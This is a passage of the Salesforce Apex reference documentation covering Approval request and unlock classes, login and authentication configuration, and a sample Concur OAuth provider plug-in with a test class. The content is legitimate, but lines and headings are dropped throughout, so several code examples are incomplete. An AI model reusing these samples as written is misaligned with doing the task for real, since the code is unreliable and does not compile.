public ID[] getNewWorkitemIds()
669
Return Value
Type: ID[]
isSuccess()
A Boolean value that is set to true if the approval process completed successfully; otherwise, it is set to false.
Signature
Return Value
Type: Boolean
ProcessSubmitRequest Class
Use the ProcessSubmitRequest class to submit a record for approval.
Namespace
Approval
Usage
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments.
For example:
Approval.ProcessSubmitRequest psr = new Approval.ProcessSubmitRequest();
Inherited Methods
In addition to the methods listed, the ProcessSubmitRequest class has access to all the methods in its parent class, ProcessRequest
Class on page 666.
• getComments()
• getNextApproverIds()
• setComments(comments)
• setNextApproverIds(nextApproverIds)
Example
To view sample code, refer to Approval Processing Example on page 287.
ProcessSubmitRequest Methods
The following are methods for ProcessSubmitRequest. All are instance methods.
670
IN THIS SECTION:
getObjectId()
Returns the ID of the record that has been submitted for approval. For example, it can return an account, contact, or custom object
record.
getProcessDefinitionNameOrId()
Returns the developer name or ID of the process definition.
getSkipEntryCriteria()
If getProcessDefinitionNameOrId() returns a value other than null, getSkipEntryCriteria() determines
whether to evaluate the entry criteria for the process (true) or not (false).
getSubmitterId()
Returns the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup.
setObjectId(recordId)
Sets the ID of the record to be submitted for approval. For example, it can specify an account, contact, or custom object record.
setProcessDefinitionNameOrId(nameOrId)
Sets the developer name or ID of the process definition to be evaluated.
setSkipEntryCriteria(skipEntryCriteria)
If the process definition name or ID is not null, setSkipEntryCriteria() determines whether to evaluate the entry criteria
for the process (true) or not (false).
setSubmitterId(userID)
Sets the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup. If you don’t set a submitter ID, the process uses the current user as the submitter.
getObjectId()
Returns the ID of the record that has been submitted for approval. For example, it can return an account, contact, or custom object
record.
Signature
public String getObjectId()
Return Value
Type: String
getProcessDefinitionNameOrId()
Returns the developer name or ID of the process definition.
Signature
public String getProcessDefinitionNameOrId()
Return Value
Type: String
671
Usage
The default is null. If the return value is null, when a user submits a record for approval Salesforce evaluates the entry criteria for all
processes applicable to the user.
getSkipEntryCriteria()
If getProcessDefinitionNameOrId() returns a value other than null, getSkipEntryCriteria() determines
whether to evaluate the entry criteria for the process (true) or not (false).
Signature
public Boolean getSkipEntryCriteria()
Return Value
Type: Boolean
getSubmitterId()
Returns the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup.
Signature
public String getSubmitterId()
Return Value
Type: String
setObjectId(recordId)
Sets the ID of the record to be submitted for approval. For example, it can specify an account, contact, or custom object record.
Signature
public Void setObjectId(String recordId)
Parameters
recordId
Type: String
Return Value
Type: Void
setProcessDefinitionNameOrId(nameOrId)
Sets the developer name or ID of the process definition to be evaluated.
672
Signature
public Void setProcessDefinitionNameOrId(String nameOrId)
Parameters
nameOrId
Type: String
The process definition developer name or process definition ID. The record is submitted to this specific process. If set to null,
submission of a record approval follows standard evaluation; that is, every entry criteria of the process definition in the process order
is evaluated and the one that satisfies is picked and submitted.
Return Value
Type: Void
Usage
If the process definition name or ID is not set via this method, then by default it is null. If it is null, the submission of a record for approval
evaluates entry criteria for all processes applicable to the submitter. The order of evaluation is based on the process order of the setup.
setSkipEntryCriteria(skipEntryCriteria)
If the process definition name or ID is not null, setSkipEntryCriteria() determines whether to evaluate the entry criteria for
the process (true) or not (false).
Signature
public Void setSkipEntryCriteria(Boolean skipEntryCriteria)
Parameters
skipEntryCriteria
Type: Boolean
If set to true, request submission skips the evaluation of entry criteria for the process set in setProcessDefinitionNameOrId(nameOrId)
on page 672. If the process definition name or ID is not specified, this parameter is ignored and standard evaluation is followed based
on process order. If set to false, or if this method isn’t called, the entry criteria is not skipped.
Return Value
Type: Void
setSubmitterId(userID)
Sets the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process definition
setup. If you don’t set a submitter ID, the process uses the current user as the submitter.
Signature
public Void setSubmitterId(String userID)
673
Parameters
userID
Type: String
The user ID on behalf of which the record is submitted. If set to null, the current user is the submitter. If the submitter is not set
with this method, the default submitter is null (the current user).
Return Value
Type: Void
ProcessWorkitemRequest Class
Use the ProcessWorkitemRequest class for processing an approval request after it is submitted.
Namespace
Approval
Usage
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments.
For example:
Approval.ProcessWorkitemRequest pwr = new Approval.ProcessWorkitemRequest();
Inherited Methods
In addition to the methods listed, the ProcessWorkitemRequest class has access to all the methods in its parent class,
ProcessRequest Class:
• getComments()
• getNextApproverIds()
• setComments(comments)
• setNextApproverIds(nextApproverIds)
ProcessWorkitemRequest Methods
The following are methods for ProcessWorkitemRequest. All are instance methods.
IN THIS SECTION:
getAction()
Returns the type of action already associated with the approval request. Valid values are: Approve, Reject, or Removed.
getWorkitemId()
Returns the ID of the approval request that is in the process of being approved, rejected, or removed.
setAction(actionType)
Sets the type of action to take for processing an approval request.
674
setWorkitemId(id)
Sets the ID of the approval request that is being approved, rejected, or removed.
getAction()
Returns the type of action already associated with the approval request. Valid values are: Approve, Reject, or Removed.
Signature
public String getAction()
Return Value
Type: String
getWorkitemId()
Returns the ID of the approval request that is in the process of being approved, rejected, or removed.
Signature
public String getWorkitemId()
Return Value
Type: String
setAction(actionType)
Sets the type of action to take for processing an approval request.
Signature
public Void setAction(String actionType)
Parameters
actionType
Type: String
Valid values are: Approve, Reject, or Removed. Only system administrators can specify Removed.
Return Value
Type: Void
setWorkitemId(id)
Sets the ID of the approval request that is being approved, rejected, or removed.
675
Signature
public Void setWorkitemId(String id)
Parameters
id
Type: String
Return Value
Type: Void
UnlockResult Class
The result of a record unlock, returned by a System.Approval.unlock() method.
Namespace
Approval
Usage
The System.Approval.unlock() methods return Approval.UnlockResult objects. Each element in an UnlockResult array
corresponds to an element in the ID or sObject array passed as a parameter to an unlock method. The first element in the UnlockResult
array corresponds to the first element in the ID or sObject array, the second element corresponds to the second element, and so on. If
only one ID or sObject is passed in, the UnlockResult array contains a single element.
Example
The following example shows how to obtain and iterate through the returned Approval.UnlockResult objects. It locks some queried
accounts using Approval.unlock with a false second parameter to allow partial processing of records on failure. Next, it
iterates through the results to determine whether the operation was successful for each record. It writes the ID of every record that was
processed successfully to the debug log, or writes error messages and failed fields of the failed records.
// Query the accounts to unlock
for(Account acct:accts) {
// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setComments('Submitting request for approval.');
req1.setObjectId(acct.id);
// Submit the record to specific process and skip the criteria evaluation
req1.setProcessDefinitionNameOrId('PTO_Request_Process');
req1.setSkipEntryCriteria(true);
// Submit the approval request for the account

676
// Verify the result

}
// Unlock the accounts

Approval.UnlockResult[] urList = Approval.unlock(accts, false);

for(Approval.UnlockResult ur : urList) {
if (ur.isSuccess()) {
System.debug('Successfully unlocked account with ID: ' + ur.getId());
}
else {
for(Database.Error err : ur.getErrors()) {
}
}
}
IN THIS SECTION:
UnlockResult Methods
SEE ALSO:
Approval Class
UnlockResult Methods
The following are methods for UnlockResult.
IN THIS SECTION:
getErrors()
getId()
Returns the ID of the sObject you are trying to unlock.
isSuccess()
A Boolean value that is set to true if the unlock operation is successful for this object, or false otherwise.
getErrors()
Signature
677
Apex Developer Guide Auth Namespace
Return Value
getId()
Returns the ID of the sObject you are trying to unlock.
Signature
public Id getId()
Return Value
Type: Id
Usage
If the field contains a value, the object was unlocked. If the field is empty, the operation was not successfult.
isSuccess()
A Boolean value that is set to true if the unlock operation is successful for this object, or false otherwise.
Signature
Return Value
Type: Boolean
Auth Namespace
The Auth namespace provides an interface and classes for single sign-on into Salesforce and session security management.
The following is the interface in the Auth namespace.
IN THIS SECTION:
AuthConfiguration Class
Contains methods for configuring user settings for users to log in to Salesforce using an authentication provider, such as Google or
Facebook instead of using Salesforce credentials. Users log in to a Salesforce community, or a subdomain created with My Domain.
AuthProviderCallbackState Class
Provides request HTTP headers, body, and query parameters to the AuthProviderPlugin.handleCallback method
for user authentication. This class allows you to group the information passed in rather than passing headers, body, and query
parameters individually.
This interface is deprecated. For new development, use the abstract class Auth.AuthProviderPluginClass to create a
custom OAuth-based authentication provider plug-in for single sign-on in to Salesforce.
678
AuthProviderPluginClass Class
Contains methods to create a custom OAuth-based authentication provider plug-in for single sign-on in to Salesforce. Use this class
to create a custom authentication provider plug-in if you can’t use one of the authentication providers that Salesforce provides.
AuthProviderTokenResponse Class
Stores the response from the AuthProviderPlugin.handleCallback method.
AuthToken Class
Contains methods for providing the access token associated with an authentication provider for an authenticated user, except for
the Janrain provider.
CommunitiesUtil Class
Contains methods for getting information about a community user.
ConnectedAppPlugin Class
Contains methods for extending the behavior of a connected app, for example, customizing how a connected app is invoked
depending on the protocol used. This class gives you more control over the interaction between Salesforce and your connected
app.
InvocationContext Enum
The context in which the connected app is invoked, such as the protocol flow used and the token type issued, if any. Developers
can use the context information to write code that is unique to the type of invocation.
JWS Class
Contains methods that apply a digital signature to a JSON Web Token (JWT), using a JSON Web Signature (JWS) data structure. This
class creates the signed JWT bearer token, which can be used to request an OAuth access token in the OAuth 2.0 JWT bearer token
flow.
JWT Class
Generates the JSON Claims Set in a JSON Web Token (JWT). The resulting Base64-encoded payload can be passed as an argument
to create an instance of the Auth.JWS class.
JWTBearerTokenExchange Class
Contains methods that POST the signed JWT bearer token to a token endpoint to request an access token, in the OAuth 2.0 JWT
bearer token flow.
OAuthRefreshResult Class
Stores the result of an AuthProviderPluginClass refresh method. OAuth authentication flow provides a refresh token that
can be used to get a new access token. Access tokens have a limited lifetime as specified by the session timeout value. When an
access token expires, use a refresh token to get a new access token.
RegistrationHandler Interface
Salesforce provides the ability to use an authentication provider, such as Facebook© or Janrain©, for single sign-on into Salesforce.
SamlJitHandler Interface
Use this interface to control and customize Just-in-Time user provisioning logic during SAML single sign-on.
SessionManagement Class
Contains methods for customizing security levels, two-factor authentication, and trusted IP ranges for a current session.
SessionLevel Enum
An Auth.SessionLevel enum value is used by the SessionManagement.setSessionLevel method.
UserData Class
Stores user information for Auth.RegistrationHandler.
679
VerificationPolicy Enum
The Auth.VerificationPolicy enum contains an identity verification policy value used by the
SessionManagement.generateVerificationUrl method.
Auth Exceptions
The Auth namespace contains some exception classes.
AuthConfiguration Class
Contains methods for configuring user settings for users to log in to Salesforce using an authentication provider, such as Google or
Facebook instead of using Salesforce credentials. Users log in to a Salesforce community, or a subdomain created with My Domain.
Namespace
Auth
Example
This example shows how to call some methods on the Auth.AuthConfiguration class. Before you can run this sample, you
must provide valid values for the URLs and developer name.
String communityUrl = '<Add URL>';
String startUrl = '<Add URL>';
Auth.AuthConfiguration authConfig = new Auth.AuthConfiguration(communityUrl,startUrl);
List<AuthProvider> authPrvs = authConfig.getAuthProviders();
String bColor = authConfig.getBackgroundColor();
String fText = authConfig.getFooterText();
String sso = Auth.AuthConfiguration.getAuthProviderSsoUrl(communityUrl, startUrl,

'developerName');
AuthConfiguration Constructors
The following are constructors for AuthConfiguration.
AuthConfiguration(communityOrCustomUrl, startUrl)
Creates a new instance of the AuthConfiguration class using the specified community or custom domain URL and starting URL
for authenticated users.
Signature
public AuthConfiguration(String communityOrCustomUrl, String startUrl)
Parameters
communityOrCustomUrl
Type: String
The URL for the community or custom domain.
680
startUrl
Type: String
The page users see after successfully logging in to the community or custom domain.
AuthConfiguration(networkId, startUrl)
Creates an instance of the AuthConfiguration class using the specified community ID and authenticated-user starting URL.
Signature
public AuthConfiguration(Id networkId, String startUrl)
Parameters
networkId
Type: Id
The ID of the community.
startUrl
Type: String
The page users see after successfully logging in to the community.
AuthConfiguration Methods
The following are methods for AuthConfiguration. Use these methods to manage and customize authentication for a Salesforce
community.
IN THIS SECTION:
getAllowInternalUserLoginEnabled()
Indicates whether the community allows internal users to log in using the community login page. Admins configure the setting
Allow internal users to log in directly to the community on the Login & Registration page in Community Management. It’s
disabled by default.
getAuthConfig()
Returns the AuthConfig sObject, which represents the authentication options, for a community or custom domain that was created
by using My Domain.
getAuthConfigProviders()
Returns the list of authentication providers configured for a community or custom domain.
getAuthProviders()
Returns the list of authentication providers available for a community or custom domain.
getAuthProviderSsoUrl(communityUrl, startUrl, developerName)
Returns the single sign-on URL for a community or a custom domain created using My Domain.
getBackgroundColor()
Returns the color for the background of the login page for a community.
getDefaultProfileForRegistration()
Returns the profile ID assigned to new community users.
681
getFooterText()
Returns the text at the bottom of the login page for a community.
Returns the URL for the standard or custom Forgot Password page that is specified for a community or portal by the administrator.
getLogoUrl()
Returns the location of the icon image at the bottom of the login page for a community.
getRightFrameUrl()
Returns the URL for the right-frame content to display on the right side of the community login page. The admin supplies the URL.
getSamlProviders()
Returns the list of SAML-based authentication providers available for a community or custom domain.
getSamlSsoUrl(communityUrl, startURL, samlId)
getSelfRegistrationEnabled()
Indicates whether the current community allows new users to create their own account by filling out a registration form.
Returns the location of the self-registration page for new users to sign up for an account with a community.
getStartUrl()
Returns the page of a community or custom domain displayed after a user logs in.
getUsernamePasswordEnabled()
Indicates whether the current community is set to display a login form asking for a username and password. You can configure the
community not to request a username and password if it is for unauthenticated users or users logging in with a third-party
authentication provider.
isCommunityUsingSiteAsContainer()
Returns true if the community uses Site.com pages; otherwise, returns false.
getAllowInternalUserLoginEnabled()
Indicates whether the community allows internal users to log in using the community login page. Admins configure the setting Allow
internal users to log in directly to the community on the Login & Registration page in Community Management. It’s disabled by
default.
Signature
public Boolean getAllowInternalUserLoginEnabled()
Return Value
Type: Boolean
Usage
If true, internal users log in to a community from the community login page with their internal credentials. If they navigate to their
internal org from the community, they don't have to log in again.
682
getAuthConfig()
Returns the AuthConfig sObject, which represents the authentication options, for a community or custom domain that was created by
using My Domain.
Signature
public AuthConfig getAuthConfig()
Return Value
Type: AuthConfig
The AuthConfig sObject for the community or custom domain.
getAuthConfigProviders()
Returns the list of authentication providers configured for a community or custom domain.
Signature
public List<AuthConfigProviders> getAuthConfigProviders()
Return Value
Type: List<AuthConfigProviders>
A list of authentication providers (AuthConfigProviders sObjects, which are children of the AuthProvider sObject).
getAuthProviders()
Returns the list of authentication providers available for a community or custom domain.
Signature
public List<AuthProvider> getAuthProviders()
Return Value
Type: List<AuthProvider>
A list of authentication providers (AuthProvider sObjects) for the community or custom domain.
getAuthProviderSsoUrl(communityUrl, startUrl, developerName)

Signature
public static String getAuthProviderSsoUrl(String communityUrl, String startUrl, String
developerName)
683
Parameters
communityUrl
Type: String
The URL for the community or custom domain. If not null and not specified as an empty string, you get the URL for a community. If
null or specified as an empty string, you get the URL for a custom domain.
startUrl
Type: String
The page that users see after logging in to the community or custom domain.
developerName
Type: String
The unique name of the authentication provider.
Return Value
Type: String
The Single Sign-On Initialization URL for the community or custom domain.
getBackgroundColor()
Returns the color for the background of the login page for a community.
Signature
public String getBackgroundColor()
Return Value
Type: String
getDefaultProfileForRegistration()
Returns the profile ID assigned to new community users.
Signature
public String getDefaultProfileForRegistration()
Return Value
Type: String
The profile ID.
getFooterText()
Returns the text at the bottom of the login page for a community.
684
Signature
public String getFooterText()
Return Value
Type: String
The text string displayed at the bottom of the login page, for example “Log in with an existing account.”
Returns the URL for the standard or custom Forgot Password page that is specified for a community or portal by the administrator.
Signature
public String getForgotPasswordUrl()
Return Value
Type: String
URL for the standard or custom Forgot Password page.
getLogoUrl()
Returns the location of the icon image at the bottom of the login page for a community.
Signature
public String getLogoUrl()
Return Value
Type: String
The path to the icon image.
getRightFrameUrl()
Returns the URL for the right-frame content to display on the right side of the community login page. The admin supplies the URL.
Signature
public String getLoginRightFrameUrl()
Return Value
Type: String
URL for the right-frame content of the community login page. Salesforce creates an inline (IFrame) on the right side of the login page
to display the contents specified by the URL.
685
getSamlProviders()
Returns the list of SAML-based authentication providers available for a community or custom domain.
Signature
public List<SamlSsoConfig> getSamlProviders()
Return Value
Type: List<SamlSsoConfig>
A list of SAML-based authentication providers (SamlSsoConfig sObjects).
getSamlSsoUrl(communityUrl, startURL, samlId)

Signature
public static String getSamlSsoUrl(String communityUrl, String startURL, String samlId)
Parameters
communityUrl
Type: String
The URL for the community or custom domain created using My Domain. If not null and not specified as an empty string, you
get the URL for a community. If null or specified as an empty string, you get the URL for a custom domain.
startUrl
Type: String
The page users see after successfully logging in to the community or custom domain.
samlId
Type: String
The unique identifier of the SamlSsoConfig standard object for the community or custom domain.
Return Value
Type: String
The Single Sign-On Initialization URL for the community or custom domain.
getSelfRegistrationEnabled()
Indicates whether the current community allows new users to create their own account by filling out a registration form.
Signature
public Boolean getSelfRegistrationEnabled()
686
Return Value
Type: Boolean
Returns the location of the self-registration page for new users to sign up for an account with a community.
Signature
public String getSelfRegistrationUrl()
Return Value
Type: String
The location of the self-registration page.
getStartUrl()
Returns the page of a community or custom domain displayed after a user logs in.
Signature
public String getStartUrl()
Return Value
Type: String
The location of the community or custom domain start page.
getUsernamePasswordEnabled()
Indicates whether the current community is set to display a login form asking for a username and password. You can configure the
community not to request a username and password if it is for unauthenticated users or users logging in with a third-party authentication
provider.
Signature
public Boolean getUsernamePasswordEnabled()
Return Value
Type: Boolean
isCommunityUsingSiteAsContainer()
Returns true if the community uses Site.com pages; otherwise, returns false.
Signature
public Boolean isCommunityUsingSiteAsContainer()
687
Return Value
Type: Boolean
AuthProviderCallbackState Class
Provides request HTTP headers, body, and query parameters to the AuthProviderPlugin.handleCallback method for
user authentication. This class allows you to group the information passed in rather than passing headers, body, and query parameters
individually.
Namespace
Auth
IN THIS SECTION:
AuthProviderCallbackState Constructors
AuthProviderCallbackState Properties
SEE ALSO:
handleCallback(authProviderConfiguration, callbackState)
AuthProviderCallbackState Constructors
The following are constructors for AuthProviderCallbackState.
IN THIS SECTION:
AuthProviderCallbackState(headers, body, queryParameters)
Creates an instance of the AuthProviderCallbackState class using the specified HTTP headers, body, and query parameters
of the authentication request.
AuthProviderCallbackState(headers, body, queryParameters)

Creates an instance of the AuthProviderCallbackState class using the specified HTTP headers, body, and query parameters
of the authentication request.
Signature
public AuthProviderCallbackState(Map<String,String> headers, String body,
Map<String,String> queryParameters)
Parameters
headers
Type: Map<String,String>
The HTTP headers of the authentication request.
body
Type: String
688
The HTTP body of the authentication request.

queryParameters
The HTTP query parameters of the authentication request.
AuthProviderCallbackState Properties
The following are properties for AuthProviderCallbackState.
IN THIS SECTION:
body
headers
queryParameters
body
Signature
public String body {get; set;}
Property Value
Type: String
headers
Signature
public Map<String,String> headers {get; set;}
Property Value
queryParameters
Signature
public Map<String,String> queryParameters {get; set;}
689
Property Value
This interface is deprecated. For new development, use the abstract class Auth.AuthProviderPluginClass to create a custom
OAuth-based authentication provider plug-in for single sign-on in to Salesforce.
Namespace
Auth
Usage
Deprecated. Existing implementations that use Auth.AuthProviderPlugin still work. For new development, use
Auth.AuthProviderPluginClass.
IN THIS SECTION:
AuthProviderPlugin Methods
AuthProviderPlugin Example Implementation
AuthProviderPlugin Methods
The following methods are for AuthProviderPlugin, which, as of API version 39.0, is deprecated. Use themethods in
AuthProviderPluginClass instead.
IN THIS SECTION:
getCustomMetadataType()
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
getUserInfo(authProviderConfiguration, response)
initiate(authProviderConfiguration, stateToPropagate)
SEE ALSO:
Salesforce Help: Create a Custom External Authentication Provider
690
Signature
public String getCustomMetadataType()
Return Value
Type: String
The custom metadata type API name for the authentication provider.
Usage
Returns the custom metadata type API name for a custom OAuth-based authentication provider for single sign-on to Salesforce. The
getCustomMetatadaType() method returns only custom metadata type names. It does not return custom metadata record
names.
Signature
public Auth.UserData getUserInfo(Map<String,String> authProviderConfiguration,
Auth.AuthProviderTokenResponse response)
Parameters
authProviderConfiguration
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
response
Type: Auth.AuthProviderTokenResponse
The OAuth access token, OAuth secret or refresh token, and state provided by the authentication provider to authenticate the current
user.
Return Value
Type: Auth.UserData
Creates a new instance of the Auth.UserData class.
Usage
Returns information from the custom authentication provider about the current user. The registration handler and other authentication
provider flows use this information.
691
Signature
public Auth.AuthProviderTokenResponse handleCallback(Map<String,String>
authProviderConfiguration, Auth.AuthProviderCallbackState callbackState)
Parameters
Type: Map<StringString>
callbackState
Type: Auth.AuthProviderCallbackState
The class that contains the HTTP headers, body, and queryParams of the authentication request.
Return Value
Creates an instance of the AuthProviderTokenResponse class.
Usage
Uses the authentication provider’s supported authentication protocol to return an OAuth access token, OAuth secret or refresh token,
and the state passed in when the request for the current user was initiated.
Signature
public System.PageReference initiate(Map<String,String> authProviderConfiguration,
String stateToPropagate)
Parameters
stateToPropagate
Type: String
The state passed in to initiate the authentication request for the user.
Return Value
692
The URL of the page where the user is redirected for authentication.
Usage
Returns the URL where the user is redirected for authentication.
AuthProviderPlugin Example Implementation

We’ve removed the example implementation for the Auth.AuthProviderPlugin interface because we’ve deprecated the
interface and replaced it with an abstract class. See AuthProviderPluginClass Class.
AuthProviderPluginClass Class
Contains methods to create a custom OAuth-based authentication provider plug-in for single sign-on in to Salesforce. Use this class to
create a custom authentication provider plug-in if you can’t use one of the authentication providers that Salesforce provides.
Namespace
Auth
Usage
To create a custom authentication provider for single sign-on, create a class that extends Auth.AuthProviderPluginClass.
This class allows you to store the custom configuration for your authentication provider and handle authentication protocols when users
log in to Salesforce with their login credentials for an external service provider. In Salesforce, the class that implements this interface
appears in the Provider Type drop-down list in Auth. Providers in Setup. Make sure that the user you specify to run the class has
“Customize Application” and “Manage Auth. Providers” permissions.
As of API version 39.0, use the abstract class AuthProviderPluginClass to create a custom external authentication provider.
This class replaces the AuthProviderPlugin interface. If you’ve already implemented a custom authentication provider plug-in
using the interface, it still works. However, use AuthProviderPluginClass to extend your plug-in. If you haven’t created an
interface, create a custom authentication provider plug-in by extending this abstract class. For more information, see
AuthProviderPluginClass Code Example.
IN THIS SECTION:
AuthProviderPluginClass Methods
AuthProviderPluginClass Code Example
AuthProviderPluginClass Methods
The following are methods for AuthProviderPluginClass.
IN THIS SECTION:
Returns the custom metadata type API name for a custom OAuth-based authentication provider for single sign-on to Salesforce.
Returns information from the custom authentication provider about the current user. This information is used by the registration
handler and in other authentication provider flows.
693
refresh(authProviderConfiguration, refreshToken)
Returns a new access token, which is used to update an expired access token.
Returns the custom metadata type API name for a custom OAuth-based authentication provider for single sign-on to Salesforce.
Signature
public String getCustomMetadataType()
Return Value
Type: String
The custom metadata type API name for the authentication provider.
Usage
The getCustomMetatadaType() method returns only custom metadata type names. It does not return custom metadata record
names. As of API version 39.0, use this method when extending Auth.AuthProviderPluginClass to create a custom external
Returns information from the custom authentication provider about the current user. This information is used by the registration handler
and in other authentication provider flows.
Signature
public Auth.UserData getUserInfo(Map<String,String> authProviderConfiguration,
Parameters
populates it with the custom metadata type default values. Or you can set the configuration with values that you enter when you
create the custom provider in Auth. Providers in Setup.
response
The OAuth access token, OAuth secret or refresh token, and state provided by the authentication provider to authenticate the current
user.
694
Return Value
Type: Auth.UserData
Creates a new instance of the Auth.UserData class.
Usage
As of API version 39.0, use this method when extending Auth.AuthProviderPluginClass to create a custom authentication
provider.
Signature
public Auth.AuthProviderTokenResponse handleCallback(Map<String,String>
authProviderConfiguration, Auth.AuthProviderCallbackState callbackState)
Parameters
callbackState
Type: Auth.AuthProviderCallbackState
The class that contains the HTTP headers, body, and queryParams of the authentication request.
Return Value
Creates an instance of the AuthProviderTokenResponse class.
Usage
provider.
Signature
public System.PageReference initiate(Map<String,String> authProviderConfiguration,
String stateToPropagate)
695
Parameters
stateToPropagate
Type: String
Return Value
The URL of the page where the user is redirected for authentication.
Usage
provider.
refresh(authProviderConfiguration, refreshToken)
Returns a new access token, which is used to update an expired access token.
Signature
public Auth.OAuthRefreshResult refresh(Map<String,String> authProviderConfiguration,
String refreshToken)
Parameters
refreshToken
Type: String
The refresh token for the user who is logged in.
Return Value
Type: Auth.OAuthRefreshResult
Returns the new access token, or an error message if an error occurs.
696
Usage
A successful request returns a Auth.OAuthRefreshResult with the access token and refresh token in the response. If you receive
an error, make sure that you set the error string to the error message. A NULL error string indicates no error.
The refresh method works only with named credentials; it doesn’t respect the standard OAuth refresh flow. The refresh method with
named credentials works only if the earlier request returns a 401.
AuthProviderPluginClass Code Example

The following example demonstrates how to implement a custom Auth. provider plug-in using the abstract class,
Auth.AuthProviderPluginClass.
global class Concur extends Auth.AuthProviderPluginClass {
// Use this URL for the endpoint that the

// authentication provider calls back to for configuration.
public String redirectUrl;
private String key;
private String secret;
// Application redirection to the Concur website for

// authentication and authorization.
private String authUrl;
// URI to get the new access token from concur using the GET verb.
private String accessTokenUrl;
// Api name for the custom metadata type created for this auth provider.
private String customMetadataTypeApiName;
// Api URL to access the user in Concur

private String userAPIUrl;
// Version of the user api URL to access data from Concur

private String userAPIVersionUrl;
global String getCustomMetadataType() {

return customMetadataTypeApiName;
}
global PageReference initiate(Map<string,string>

authProviderConfiguration, String stateToPropagate)
{
authUrl = authProviderConfiguration.get('Auth_Url__c');
// Here the developer can build up a request of some sort.

// Ultimately, they return a URL where we will redirect the user.
String url = authUrl + '?client_id='+ key
+'&scope=USER,EXPRPT,LIST&redirect_uri='+ redirectUrl + '&state=' + stateToPropagate;
return new PageReference(url);
}
697
global Auth.AuthProviderTokenResponse handleCallback(Map<string,string>

authProviderConfiguration, Auth.AuthProviderCallbackState state )
{
// Here, the developer will get the callback with actual protocol.
// Their responsibility is to return a new object called
// AuthProviderTokenResponse.
// This will contain an optional accessToken and refreshToken
secret = authProviderConfiguration.get('Secret__c');
accessTokenUrl = authProviderConfiguration.get('Access_Token_Url__c');
Map<String,String> queryParams = state.queryParameters;

String code = queryParams.get('code');
String sfdcState = queryParams.get('state');

String url = accessTokenUrl+'?code=' + code + '&client_id=' + key +
'&client_secret=' + secret;

String token = getTokenValueFromResponse(responseBody, 'Token', null);
return new Auth.AuthProviderTokenResponse('Concur', token,

'refreshToken', sfdcState);
}
global Auth.UserData getUserInfo(Map<string,string>

authProviderConfiguration,
{
//Here the developer is responsible for constructing an
//Auth.UserData object
String token = response.oauthToken;
userAPIUrl = authProviderConfiguration.get('API_User_Url__c');
userAPIVersionUrl = authProviderConfiguration.get
('API_User_Version_Url__c');
req.setHeader('Authorization', 'OAuth ' + token);
req.setEndpoint(userAPIUrl);

String id = getTokenValueFromResponse(responseBody,
'LoginId',userAPIVersionUrl);
String fname = getTokenValueFromResponse(responseBody,
'FirstName', userAPIVersionUrl);
698
String lname = getTokenValueFromResponse(responseBody,

'LastName', userAPIVersionUrl);
String flname = fname + ' ' + lname;
String uname = getTokenValueFromResponse(responseBody,
'EmailAddress', userAPIVersionUrl);
String locale = getTokenValueFromResponse(responseBody,
'LocaleName', userAPIVersionUrl);
return new Auth.UserData(id, fname, lname, flname,
uname, 'what', locale, null, 'Concur', null, provMap);
}
private String getTokenValueFromResponse(String response,

String token, String ns)
{
Dom.Document docx = new Dom.Document();
docx.load(response);
String ret = null;
dom.XmlNode xroot = docx.getrootelement() ;

if(xroot != null){ ret = xroot.getChildElement(token, ns).getText();
}
return ret;
}
Sample Test Classes

The following example contains test classes for the Concur class.
@IsTest
public class ConcurTestClass {
private static final String OAUTH_TOKEN = 'testToken';

private static final String STATE = 'mocktestState';
private static final String REFRESH_TOKEN = 'refreshToken';
private static final String LOGIN_ID = 'testLoginId';
private static final String USERNAME = 'testUsername';
private static final String FIRST_NAME = 'testFirstName';
private static final String LAST_NAME = 'testLastName';
private static final String EMAIL_ADDRESS = 'testEmailAddress';
private static final String LOCALE_NAME = 'testLocalName';
private static final String FULL_NAME = FIRST_NAME + ' ' + LAST_NAME;
private static final String PROVIDER = 'Concur';
private static final String REDIRECT_URL =
'http://localhost/services/authcallback/orgId/Concur';
private static final String KEY = 'testKey';
private static final String SECRET = 'testSecret';
private static final String STATE_TO_PROPOGATE = 'testState';
private static final String ACCESS_TOKEN_URL =
699
'http://www.dummyhost.com/accessTokenUri';
private static final String API_USER_VERSION_URL =
'http://www.dummyhost.com/user/20/1';
private static final String AUTH_URL =
'http://www.dummy.com/authurl';
private static final String API_USER_URL =
'www.concursolutions.com/user/api';
// In the real world scenario, the key and value would be read
// from the (custom fields in) custom metadata type record.
private static Map<String,String> setupAuthProviderConfig ()
{
Map<String,String> authProviderConfiguration = new Map<String,String>();
authProviderConfiguration.put('Key__c', KEY);
authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
authProviderConfiguration.put('Secret__c', SECRET);
authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
authProviderConfiguration.put('API_User_Version_Url__c',
API_USER_VERSION_URL);
authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
return authProviderConfiguration;
static testMethod void testInitiateMethod()

{
String stateToPropogate = 'mocktestState';

concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');
PageReference expectedUrl = new

PageReference(authProviderConfiguration.get('Auth_Url__c') + '?client_id='+
authProviderConfiguration.get('Key__c') +'&scope=USER,EXPRPT,LIST&redirect_uri='+
authProviderConfiguration.get('Redirect_Url__c') + '&state=' +
PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
}
static testMethod void testHandleCallback()

{
Map<String,String> authProviderConfiguration =
setupAuthProviderConfig();
concurCls.redirectUrl = authProviderConfiguration.get
('Redirect_Url_c');
Test.setMock(HttpCalloutMock.class, new
700
ConcurMockHttpResponseGenerator());
Map<String,String> queryParams = new Map<String,String>();

queryParams.put('code','code');
queryParams.put('state',authProviderConfiguration.get('State_c'));
Auth.AuthProviderCallbackState cbState =
new Auth.AuthProviderCallbackState(null,null,queryParams);
